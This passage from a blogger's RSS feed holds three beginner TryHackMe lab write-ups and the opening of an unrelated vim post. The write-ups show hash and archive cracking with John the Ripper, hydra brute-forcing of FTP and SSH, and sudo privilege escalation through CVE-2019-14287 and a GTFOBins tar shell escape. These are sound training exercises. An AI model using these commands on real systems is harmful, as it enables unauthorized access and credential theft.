            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/johntheripper0">John The Ripper</a>, a room for learning about cracking hashes. Since I am a beginner in the field. Will try journal down the process if possible. Let’s crack it!</p><h3>John who?</h3><h4>#Read and understand the basic concepts of hashing and hash cracking</h4><p><strong>answer: No answer needed</strong></p><h3>Setting up John the Ripper</h3><h4>#What is the most popular extended version of John the Ripper?</h4><p><strong>answer: Jumbo John</strong></p><p>Read the information given and get the answer. Assume <strong>John</strong> is setup correctly before continue. Will be using the “John the Ripper 1.9.0-jumbo-1 OMP” and I am on Parrot OS.</p><h3>Wordlists</h3><h4>#What website was the rockyou.txt wordlist created from a breach on?</h4><p><strong>answer: rockyou.com</strong></p><p>Read the information given and get the answer. Assume using the <strong>rockyou.txt</strong> wordlist and set environment variable to <strong>$W_PASSWORD</strong>.</p><h3>Cracking Basic Hashes</h3><p>Before starting this section, we will need to download the zip file that contains 4 hashes text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*m_rzwoawjma39DqgU2dEgQ.png" /></figure><h4>#What type of hash is hash1.txt?</h4><p><strong>answer: MD5</strong></p><p>Using the <strong>hash-identifier</strong>, we are able to guess the hash type.</p><p><strong>$ cat hash1.txt | hash-identifier</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*G40-J4CnPVl37CEq8me9Fg.png" /></figure><h4>#What is the cracked value of hash1.txt?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>Let’s John do the work!</p><p><strong>$ john --format=raw-md5 --wordlist=$W_PASSWORD hash1.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*Tb-pthZq2xr6kTkYewS4UA.png" /></figure><h4>#What type of hash is hash2.txt?</h4><p><strong>answer: SHA1</strong></p><p>Same as before, run through <strong>hash-identifier</strong> and get the result.</p><p><strong>$ cat hash2.txt | hash-identifier</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*9XBaGooV5NM-9XOkrEAzCA.png" /></figure><h4>#What is the cracked value of hash2.txt</h4><p><strong>answer: [NO SPOILER]</strong></p><p><strong>$ john --format=raw-sha1 --wordlist $W_PASSWORD hash2.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*oKAX4HHuojFvqt3niRUTXw.png" /></figure><h4>#What type of hash is hash3.txt?</h4><p><strong>answer: SHA256</strong></p><p>Same drill.</p><p><strong>$ cat hash3.txt | hash-identifier</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*_VWzbI9zgtMW6EdI1i0-6g.png" /></figure><h4>#What is the cracked value of hash3.txt</h4><p><strong>answer: [NO SPOILER]</strong></p><p><strong>$ john --format=raw-sha256 --wordlist=$W_PASSWORD hash3.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*V63xUAOKzPAz3zUnvT7KKw.png" /></figure><h4>#What type of hash is hash4.txt?</h4><p><strong>answer: Whirlpool</strong></p><p>This time is slightly different, the second guess is the actual answer.</p><p><strong>$ cat hash4.txt | hash-identifier</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SybAsCTONTgjIu3EXd24XQ.png" /></figure><h4>#What is the cracked value of hash4.txt</h4><p><strong>answer: [NO SPOILER]</strong></p><p><strong>$ john --format=whirlpool --wordlist=$W_PASSWORD hash4.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*OeShY5RiQ3NOS-BilYDlkg.png" /></figure><h3>Cracking Windows Authentication Hashes</h3><p>Before starting this section, we will need to download a hash file named <strong>ntlm.txt</strong>.</p><h4>#What do we need to set the “format” flag to, in order to crack this?</h4><p><strong>answer: NT</strong></p><p>Since we know this is for Windows OS. When checking the hash identifier. I use the lease possible hashs — <strong>NTML</strong> as assumption.</p><p><strong>$ cat ntlm.txt | hahs-identifier</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*-JeRC_HH1u9IcfLLy0Mw7A.png" /></figure><p>Then I try run the listing of formats to match John naming format.</p><p><strong>$ jonh --list=formats | grep -i nt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*6rgBivHrNnlxHp4BRwU5AQ.png" /></figure><p>Look at the answer format — XX. And there is only NT in John format. The answer is straight forward.</p><h4>#What is the cracked value of this password?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>Straigh forward.</p><p><strong>$ john --format=NT --wordlist=$W_PASSWORD ntlm.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*iH92rKcllMVAWO1SlaEKDA.png" /></figure><h3>Cracking /etc/shadow Hashes</h3><p>Another download for /ect/shadow hashes. Named <strong>etchashes.txt</strong>.</p><h4>#What is the root password?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>Read the information given about <strong>unsahdow</strong> and examine the file.</p><p><strong>$ cat etchashes.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VKJc9bYR_XCFZO9bvdTSQ.png" /><figcaption>Looks like is a message from someone</figcaption></figure><p>So I split the password and shadow into <strong>local_passwd</strong> and <strong>local_shadow</strong> files and run <strong>unshadow</strong>:</p><p><strong>$ unshadow local_passwd local_shadow &gt; unshadowed.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bezxJwuy5F2CQxUhyzwMyQ.png" /></figure><p>Then followed by:</p><p><strong>$ john --wordlist=$W_PASSWORD unshadowed.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZiIHcIPLSMJPSaI5A9yqVg.png" /></figure><h3>Single Crack Mode</h3><p>Another download for Single Crack Mode section. Named <strong>hash7.txt</strong>.</p><h4>#What is Joker’s password?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>In order to run the Single Crack Mode, we will need 2 pieces of the puzzle:</p><ol><li>the format of the hash; and</li><li>prepend the username, i.e. joker before the hash, and separate them with colon (:)</li></ol><p><strong>$ cat hash7.txt | hash-identifier</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*EkVB0MVjs8sZvkNnXrLCGg.png" /><figcaption>MD5 it is</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*00DnrXSDRgEwM3eAI8Y4Uw.png" /></figure><p><strong>$ john --single --format=raw-md5 hash7.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*Onw61a-lKpfa7_AVLz5Zyg.png" /></figure><h3>Custom Rules</h3><p>Read the information given and know more about custom rules.</p><h4>#What do custom rules allow us to exploit?</h4><p><strong>answer: password complexity predictability</strong></p><p>Read the section and answer is right there.</p><h4>#What rule would we use to add all capital letters to the end of the word?</h4><p><strong>answer: Az&quot;[A-Z]&quot;</strong></p><p>The section already have information about appending. So</p><p><strong>Az</strong> - append</p><p><strong>[A-Z]</strong>- Only capital letters</p><h4>#What flag would we use to call a custom rule called “THMRules”</h4><p><strong>answer: --rule=THMRules</strong></p><p>The flag name is <strong>--rule</strong></p><h3>Cracking Password Protected Zip Files</h3><p>This section is about zip cracking, so download the zipped file, <strong>secure.zip</strong> for practice.</p><h4>#What is the password for the secure.zip file?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>We will first need to use <strong>zip2john</strong> to get the hash:</p><p><strong>$zip2john secure.zip &gt; secure.hash</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yat_5bAWJxu7uvuimQHoXA.png" /></figure><p>Then just pass it to <strong>John.</strong></p><p><strong>$john secure.hash</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XxtN_Cxjm_cWVjAj-fcKHA.png" /><figcaption>Password found!</figcaption></figure><h4>#What is the contents of the flag inside the zip file?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>The remaining is straight forward. <strong>Unzip</strong> the file and get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J8JhMf7nF80uPQK6aGraWw.png" /></figure><p><strong>$unzip secure.zip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-rgbMP2xGLUuBaw6_ErAdQ.png" /></figure><h3>Cracking Password Protected RAR Archives</h3><p>Same as the zip section, we will need the rar file, <strong>secure.rar</strong> for practice.</p><h4>#What is the password for the secure.rar file?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>No brainer, just run <strong>rar2john</strong> to get the hash.</p><p><strong>$ rar2john secure.rar &gt; secure.rar.hash</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9VEIk8_nihRhGLrz_P3kwQ.png" /></figure><p>Then crack it open:</p><p><strong>$ john secure.rar.hash</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2bsm8mAFiQn5Rrd6SgcR9Q.png" /></figure><h4>#What is the contents of the flag inside the zip file?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>In order extract (<strong>e</strong>) the content of the rar and get the flag, just use <strong>unrar</strong>.</p><p><strong>$ unrar e secure.rar</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*FxIWp0-DtZr7keGVwGZbuw.png" /></figure><h3>Cracking SSH Keys with John</h3><p>This time is SSH. Download the SSH private key, <strong>idras.id_rsa</strong> to get go.</p><h4>#What is the SSH private key password?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>In order to use <strong>ssh2john</strong>, we will need to tap into /usr/share/ssh2john.py</p><p><strong>$ python /usr/share/john/ssh2john.py idrsa.id_rsa &gt; id_rsa.hash</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vg7ZdMC_w6aWUIuGTiSEaw.png" /></figure><p>The pass in to John and call it a day!</p><p><strong>$ john --wordlist=$W_PASSWORD id_rsa.hash</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2DoL_cD2d6-wBl8C9kFRQ.png" /></figure><h3>Further Reading</h3><h4>#Update me..</h4><p><strong>answer: No answer needed</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9cf80030616" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: Agent Sudo]]></title>
            <link>https://kenken17.medium.com/thm-agent-sudo-bc0d5b43baa4?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc0d5b43baa4</guid>
            <category><![CDATA[thm]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Sat, 23 Jan 2021 03:34:54 GMT</pubDate>
            <atom:updated>2021-01-26T06:57:17.675Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/agentsudoctf">Agent Sudo</a>, so cute. Let’s <strong>Deploy</strong> and hack!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PSPMfuReWvYQQOpJvTvWdQ.png" /></figure><p>After deployed, I again set an enviroment <strong>TARGET</strong> for target box so it saves some memory of my mind.</p><p><strong>$ export TARGET=10.10.10.177</strong></p><h3>Author note</h3><h4>#Deploy the machine</h4><p><strong>answer: No answer needed</strong></p><h3>Enumerate</h3><h4>#How many open ports?</h4><p><strong>answer: 3</strong></p><p>As usual, <strong>nmap</strong> to kick off the show:</p><p><strong>$ nmap -sV -sC $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWutwEZ8gMK19yXSdCGnMw.png" /><figcaption>Found FTP, SSH and HTTP</figcaption></figure><h4>#How you redirect yourself to a secret page?</h4><p><strong>answer: user-agent</strong></p><p>Visit the site on the target IP land us on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*Q2Tw9vioyosDFN_wk4vZ6A.png" /><figcaption><a href="http://10.10.10.177/">http://10.10.10.177</a></figcaption></figure><blockquote>Dear agents,</blockquote><blockquote>Use your own <strong>codename</strong> as user-agent to access the site.</blockquote><blockquote>From,<br>Agent R</blockquote><p>Up untill now I still have no idea what is my agent code name. Looking at the hint format xxxx-xxxxx, then I tried my luck. Bingo! Now I know I need to set the User-Agent header to some custom value in order I can get redirected.</p><h4>#What is the agent name?</h4><p><strong>answer: Chris</strong></p><p>I have tried using <strong>ffuf</strong> to look for 301,302 by fuzzing the header (-H), but no luck.</p><p><strong>$ ffuf -c -t 64 -w $W_USER_AGENT -u </strong><a href="http://$target/"><strong>http://$TARGET</strong></a><strong> -H &quot;User-agent: FUZZ&quot; -mc 301,302</strong></p><p>$W_USER_AGENT = <a href="https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/user-agents-whatismybrowserdotcom-large.txt">user-agent-whatismybrowserdotcom-large.txt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQhI60ZsEKsnM6ihRduwAg.png" /><figcaption>Depleted 19990 user-agent but still not found</figcaption></figure><p>Took a lot at the hint, gave us by using “user agent: C”: (typed in myself after select any of the choices)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*VjuDfkRTFqGusELKIqeiZA.png" /></figure><p>and I got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*J_rOfy8jaPaggTNbj3__vA.png" /></figure><blockquote>Attention chris,</blockquote><blockquote>Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!</blockquote><blockquote>From,<br>Agent R</blockquote><h3>Hash cracking and brute-force</h3><h4>#FTP password</h4><p><strong>answer: [NO SPOILER]</strong></p><p>By looking at the message by Agent R, chris has a weak password. Let’s try to brute force it by <strong>hydra</strong>:</p><p><strong>$ hydra -f -I -vV -t 64 -l chris -P $W_PASSWORD $TARGET ftp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0a7elWExxms4ikdHEbRXEA.png" /></figure><p>$W_PASSWORD = <a href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz">rockyou.txt</a></p><p>Since we have the ftp credentials, let’s login and check it out!</p><p><strong>$ ftp $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*VbYoc0yDNO6Esj8ZRRrAKg.png" /><figcaption>Found some text and images</figcaption></figure><p>Then we found: <strong>To_agentJ.txt</strong>, <strong>cute-alien.jpg</strong> and <strong>cutie-png. </strong>Download them all shall we?</p><p><strong>$ ftp&gt; get To_agentJ.txt</strong></p><p><strong>$ ftp&gt; get cute-alien.jpg</strong></p><p><strong>$ ftp&gt; get cue.png</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*Ff683W-J0tW-2Z32UFnQ5g.png" /><figcaption>Download all three files</figcaption></figure><p>Let’s look at the text file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7eZGqn6K8btsOcfb61zEaQ.png" /></figure><p>Ok, looks like the images are fake. Password should be hidden in the images!</p><p>By using <strong>binwalk</strong> I can check the composition of the images:</p><p><strong>$ binwalk cute-alien.jpg</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D3rr9PJN_i8_cohM648Rwg.png" /><figcaption>Looks like nothing in it</figcaption></figure><p><strong>$ binwalk cutie.png</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X8Ie9hG3_Qca773VD_uuXw.png" /><figcaption>Found a zip in it!</figcaption></figure><p>Let’s extract (-e) it out:</p><p><strong>$ binwalk -e cutie.png</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2RUuVyvMEEkGm7R_8TeIQ.png" /><figcaption>Notice the 0-byte file!</figcaption></figure><p>After we extracted the data from the image, we got a new folder: <strong>_cutie.png.extracted</strong> and inside have zip file: <strong>8702.zip.</strong> So, I unzip it with <strong>7z</strong>:</p><p><strong>$ 7z x 8702.zip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ug7gEMmxDIcR2uOb3EoQg.png" /><figcaption>Ooops it needs a password to unzip!</figcaption></figure><h4>#Zip file password</h4><p><strong>answer: [NO SPOILER]</strong></p><p>I knew it would not be easy. Let crack the zip! But before that I found out the zipped file is — <strong>To_agentR.txt!</strong> Same name to the 0-byte file when we extracted from the image. So I deleted away the 0-byte file.</p><p>By using <strong>John the Ripper,</strong> we can crack it easily. Before that need to get the hash from the zip:</p><p><strong>$ zip2john 8702.zip &gt; zip.hashes</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MCu2zKm_HHGYmYCgG2cdlw.png" /><figcaption>Got the hashes</figcaption></figure><p>Despite the error reporting. We still got out hash back. So now crack it with <strong>John</strong> and unzip one more time with password found:</p><p><strong>$ john zip.hashes</strong></p><p><strong>$ 7z x 8702.zip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ifjRrs0TWjET6cxJJmMzOA.png" /><figcaption>Got the original file now</figcaption></figure><p>Let’s examine the extracted file:</p><p><strong>$ cat To_agentR.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a99a7_bLUOPJMQmGr5UvNQ.png" /><figcaption>Some more pasword?</figcaption></figure><h4>#steg password</h4><p><strong>answer: [NO SPOILER]</strong></p><p>Looks like there are more password to crack.</p><blockquote>Agent C,</blockquote><blockquote>We need to send the picture to ‘<strong>XXXXXXXX</strong>’ as soon as possible!</blockquote><blockquote>By,<br>Agent R</blockquote><p>I suspect the password is another hashed text. So I ran them through <a href="https://multiencoder.com/#|0,0,1,0,0:1,0,0,0,0,0,0,0,1,0">MultiEncoder.com</a> for ROT-13, no luck then base64, got it!</p><p>#Who is the other agent (in full name)? — <strong>James</strong></p><p>I have been spending some times here. By having the password from the base64, I dont know where to use it on. To be honest with you, I took a peep at <a href="https://tryhackme.com/p/MrSeth6797">MrSeth6797</a> writeup and realize what meant by “send the picture” in the above message. It means extract the info from the other image (cute-alien.jpg).</p><p><strong>$ steghide extract -sf cute-alien.jpg</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LEiJ5VJSvMNkkIiVvuZAWA.png" /></figure><h4>#SSH password</h4><p><strong>answer: [NO SPOILER]</strong></p><blockquote>Hi james,</blockquote><blockquote>Glad you find this message. Your login password is <strong>XXXXXXXXXXXX</strong></blockquote><blockquote>Don’t ask me why the password look cheesy, ask agent R who set this password for you.</blockquote><blockquote>Your buddy,<br>chris</blockquote><p>The password is within the same message.</p><h3>Capture the user flag</h3><h4>#What is the user flag?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>By login in with the username and password from the previous step. We have a shell!</p><p><strong>$ ssh james@TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GNv0C6VxXWGOZ87ayYifmA.png" /></figure><p>Lets examine the <strong>user_flag.txt~</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*a3bUPomuH4Ifidnyfjk52w.png" /></figure><h4>#What is the incident of the photo called?</h4><p><strong>answer: Roswell alien autopsy</strong></p><p>Inside the folder also have another image file, so I downloaded it via <strong>scp</strong>:</p><p><strong>$ scp james@$TARGET:/home/james/Alien_autospy.jpg ./</strong></p><p>Found out the incident from google by using “alien autopsy” then it leads me to the <a href="https://www.foxnews.com/science/filmmaker-reveals-how-he-faked-infamous-roswell-alien-autopsy-footage-in-a-london-apartment">news</a>.</p><h3>Privilege escalation</h3><h4>#CVE number for the escalation</h4><p><strong>answer: CVE-2019-14287</strong></p><p>I tried to see what my current permission is given by:</p><p><strong>$ sudo -l</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B8s4DfyPUbzt6SMHFTrgbA.png" /></figure><p>I am still just a beginner. So i tried to search for “BASH” related CVE in <a href="https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=bash">cve.mitre.org</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GEMrJRmjPCKko0-R0I0AzQ.png" /></figure><p>I have tried the first dozen CVEs, no luck. So I gave up on this. Another peep into the writeup, and led me to <a href="https://resources.whitesourcesoftware.com/blog-whitesource/new-vulnerability-in-sudo-cve-2019-14287">this</a>. With the CVE given to me. I tried to search in <a href="https://www.exploit-db.com/">exploit-db</a> and downloaded the python file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l6eImUyqNcSesf0PtHVzVQ.png" /></figure><p>With the py file in my hand i uploaded it to the TARGET <strong>/tmp</strong>/ folder.</p><p><strong>$ scp ./47502.py james@TARGET:/tmp</strong></p><p>Then back to the TARGET shell, I run the file and got the root:</p><p><strong>$ python3 47502.py</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eT6DlYt_3kZd-ic5xypk1w.png" /><figcaption>We have got root!</figcaption></figure><h4>#What is the root flag?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>So the remaining drill as usual:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWYbbz-TRgaMiVF4YOo3Aw.png" /></figure><blockquote>To Mr.hacker,</blockquote><blockquote>Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.</blockquote><blockquote>Your flag is<br>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</blockquote><blockquote>By,<br>DesKel a.k.a Agent R</blockquote><h4>#(Bonus) Who is Agent R?</h4><p><strong>answer: Deskel</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc0d5b43baa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: Bounty Hacker]]></title>
            <link>https://kenken17.medium.com/thm-bounty-hacker-6875c1601f36?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6875c1601f36</guid>
            <category><![CDATA[thm]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Thu, 21 Jan 2021 16:01:44 GMT</pubDate>
            <atom:updated>2021-01-21T16:05:46.661Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/cowboyhacker">Bounty Hunter</a> — Cowboy Bebop is one of my favorite anime. Let’s start by clicking the <strong>Deploy</strong> button!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uigSCFbP2lh1TGjDd6GxTQ.png" /></figure><p>After deployed, I set an enviroment <strong>TARGET</strong> for target box so i dont need to keep typing the IP by doing:</p><p><strong>$ export TARGET=10.10.114.135</strong></p><p>#Deploy the machine. — <strong>No answer needed</strong></p><p>#Find open ports on the machine — <strong>No answer needed</strong></p><p>Though it doest not require an answer, by looking at the question, I will run <strong>nmap</strong> on it:</p><p><strong>$ nmap -sV -sC $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*f0sShX1laB962IYo8izumA.png" /><figcaption>Found FTP, SSH and HTTP</figcaption></figure><p>Looking at the FTP can let anonymous login in try:</p><p><strong>$ ftp $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*Z5Y4mzIhwSCHTbUNBSuyPQ.png" /><figcaption>Found locks.txt and task.txt</figcaption></figure><p>Found locks.txt and task.txt let’s download them.</p><p><strong>$ ftp&gt;get locks.txt</strong></p><p>$ <strong>ftp&gt;get task.txt</strong></p><p>#Who wrote the task list? — <strong>lin</strong></p><p>By looking at the <strong>task.txt</strong>, we found our answer by:</p><p><strong>$ cat task.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*CaqJoi1OBsoV68vrpD5zpA.png" /></figure><p>#What service can you bruteforce with the text file found? — <strong>SSH</strong></p><p>By looking at the locks.txt, we got some passwords, I guess we can brute force the SSH service:</p><p><strong>$ cat locks.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*hRln1bOzvqHpbcqkCtEa4w.png" /></figure><p>#What is the users password? — <strong>[NO SPOILER]</strong></p><p>Let’s try to brute force the SSH service with give passwords:</p><p><strong>$ hydra -f -I -vV -t 64 -l lin -P ./locks.txt $TARGET ssh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LrV1DPeNtccrzDOhkFMeRw.png" /></figure><p>#user.txt — <strong>[NO SPOILER]</strong></p><p>By login in with the username and password from the previous step. We have a shell!</p><p><strong>$ ssh lin@TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*nO2rbyX7DLyFlnENbJrx5g.png" /></figure><p>Lets examine the <strong>user.txt~</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*32xqtjeBimY3tMp4LKO3WQ.png" /></figure><p>#root.txt — <strong>[NO SPOILER]</strong></p><p>In order to see if we can get a root account, we first check what is given:</p><p><strong>$ sudo -l</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-r-F-bXuR43qBMzJ-cLAww.png" /></figure><p>It’s <strong>tar</strong> program. Let find out from <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a></p><blockquote>sudo tar -cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GR_l2IpKHqN5PCDeGMpA9Q.png" /></figure><p>Got the root! Then answer is just right in front!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*Kl53jj1-EokFayMrSJ6xGg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6875c1601f36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My vim setup]]></title>
            <link>https://kenken17.medium.com/my-vim-setup-6ab84bcc7dfa?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ab84bcc7dfa</guid>
            <category><![CDATA[vim]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Tue, 14 Aug 2018 10:19:02 GMT</pubDate>
            <atom:updated>2018-08-14T10:19:02.293Z</atom:updated>
            <content:encoded><![CDATA[<p>I have been using vim for like half a year now. I come into conclusion that:</p><ul><li>Not many friends/colleagues around you will be convinced to use vim, actually not even one for me so far :( ;</li><li>vim is not the ultimate all-in-one IDE, at least not for everyone;</li><li>vim is just another editor for coder, it might increase you productivity, but not by a margin, you need years of tweaking/using before you reach <em>that </em>margin; and</li><li>indeed no mouse is needed for coding :).</li></ul><p>I have been reading/watching quite some articles/videos about vim that possibly found on the public internet in this year and half, and have been tweaking my workflow slowly to increase productivity (it is a journey for all vim-er) I assume.</p><p>My intentions/goals to switch from already-well-versed Webstorm/PhpStorm to vim, can only be fulfilled if I could do the below in the same/ faster/ better/ easier way, else no point to switch:</p><ol><li>Editing with ease, which includes syntax highlight and day-to-day editing.</li><li>Search and replace, crucial;</li><li>Source code control (git), which includes basic commit, pull and push, also merging and diff-ing; and</li><li>Project/files navigation.</li></ol><p>When you are trying out a newly found plugin, you might change your workflow or coding style (I am actually enjoying the changes, coder easily get bored, you know!) to adapt the plugin’s behaviour. I am quite happy with my current setup. Below are plugins (the main ones) and setup I currently using.</p><h4>Editing with ease</h4><p>No plugins needed but with some user defined key mappings to help code editing more efficiently. Vim natively has the <em>speed</em> come right out of the box. Without switching context between mouse and keyboard provides the ability for typing without distraction, therefore increase speed of editing.</p><p>For syntax highlight and colour code, I have made myself a simple-tone theme that took inspiration from some other monochrome themes. It is simple and non distracted. I am quite happy with it. Looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0wA7VZ-4yFYngTNtwACunQ.png" /><figcaption>home-made simple-tone theme</figcaption></figure><p>In order to work with front end coding, there are plugins that you need to install for better syntax/auto-complete.</p><ul><li><a href="https://github.com/pangloss/vim-javascript">pangloss/vim-javascript</a></li><li><a href="https://github.com/posva/vim-vue">posva/vim-vue</a></li><li><a href="https://github.com/cakebaker/scss-syntax.vim">cakebaker/scss-syntax.vim</a></li></ul><p>I bet no one would like to type the same variable/name again and again when coding. So auto-complete is definitely a must nowadays. I have been using <em>youcompleteme</em> for the first year but found it heavy/sluggish. Now I am settle with vim native auto-complete combine with some help from:</p><ul><li><a href="https://github.com/ervandew/supertab">ervandew/supertab</a>: Using a tab for auto-complete is kind of burned inside a coder mind. So we need some help from this plugin. Native vim auto-complete is not that user-friendly.</li><li><a href="https://github.com/SirVer/ultisnips">SirVer/ultisnips</a> with <a href="https://github.com/honza/vim-snippets">honza/vim-snippets</a>: Snippet completion is a boost in coding, especially you are doing similar code template day in day out.</li><li><a href="https://github.com/mattn/emmet-vim">mattn/emmet-vim</a>: I believe you must have heard about <em>emmet</em>, previously known as <em>zen coding</em>. This is a quick way to expand html/css tags and properties. Not a big fan, but having it for adhoc expanding.</li></ul><h4>Search and replace</h4><p>The native `<strong>/</strong>` is helpful for searching within file, but not for the whole projects. `:<strong>%s</strong>` is helpful for search and replace, but suffered from the same issue. At last I have come to <strong>ACK</strong> for saviour.</p><ul><li><a href="https://github.com/mileszs/ack.vim">mileszs/ack.vim</a>: It’s just a wrapper for ACK on the system. So you will need ACK on your machine before you can use this plugin. I found it fast and easy to user. Have a key mapping for quick search for word under cursor, or entire project will make it even more coder-friendly.</li></ul><h4>Source code control (git)</h4><p>I don’t think there is any plugin better than Tim Pope’s fugitive plugin for git. Although it just a git wrapper, it does make my life easier for day-to-day commit and push codes.</p><ul><li><a 